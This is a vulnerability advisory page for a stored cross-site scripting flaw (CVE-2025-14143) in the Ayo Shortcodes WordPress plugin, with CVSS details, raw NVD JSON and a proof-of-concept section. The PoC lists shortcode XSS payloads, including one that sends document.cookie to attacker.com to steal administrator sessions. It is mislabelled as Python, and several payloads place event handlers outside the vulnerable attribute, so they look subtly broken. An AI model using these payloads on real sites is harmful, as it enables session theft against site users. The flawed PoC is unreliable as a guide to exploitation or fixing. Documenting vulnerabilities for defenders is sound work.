Security Vulnerability Report
中文
CVE-2025-14143 CVSS 6.4 MEDIUM

CVE-2025-14143

Published: 2025-12-12 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Ayo Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' parameter of the ayo_action shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ayo Shortcodes 0.2及以下所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Contributor权限用户可利用的存储型XSS PoC --> <!-- 在文章或页面中插入以下短代码 --> [ayo_action color="red" onmouseover="alert(document.cookie)"]Click Here[/ayo_action] <!-- 或使用更隐蔽的 payload --> [ayo_action color="xss' onfocus='alert(1)' onblur='this.src="x"' style='background:url(javascript:alert(document.domain))' tabindex='1' x=""]Test[/ayo_action] <!-- 窃取管理员cookie的payload --> [ayo_action color="red" onload="fetch('https://attacker.com/steal?c='+document.cookie)"]Hidden[/ayo_action] <!-- 修复后的安全代码示例 --> <!-- 插件应使用以下方式输出color参数: --> // $color = isset($atts['color']) ? esc_attr($atts['color']) : 'red'; // echo '<div class="ayo-action" style="color:' . $color . '">' . esc_html($content) . '</div>';

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14143", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:48.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ayo Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' parameter of the ayo_action shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ayo-shortcodes/tags/0.2/includes/ayo-shortcodes-functions.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ayo-shortcodes/tags/0.2/includes/ayo-shortcodes-functions.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ayo-shortcodes/trunk/includes/ayo-shortcodes-functions.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ayo-shortcodes/trunk/includes/ayo-shortcodes-functions.php#L66", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1760fe6e-8153-4479-ae32-2e2f0fa54e12?source=cve", "source": "[email protected]"}]}}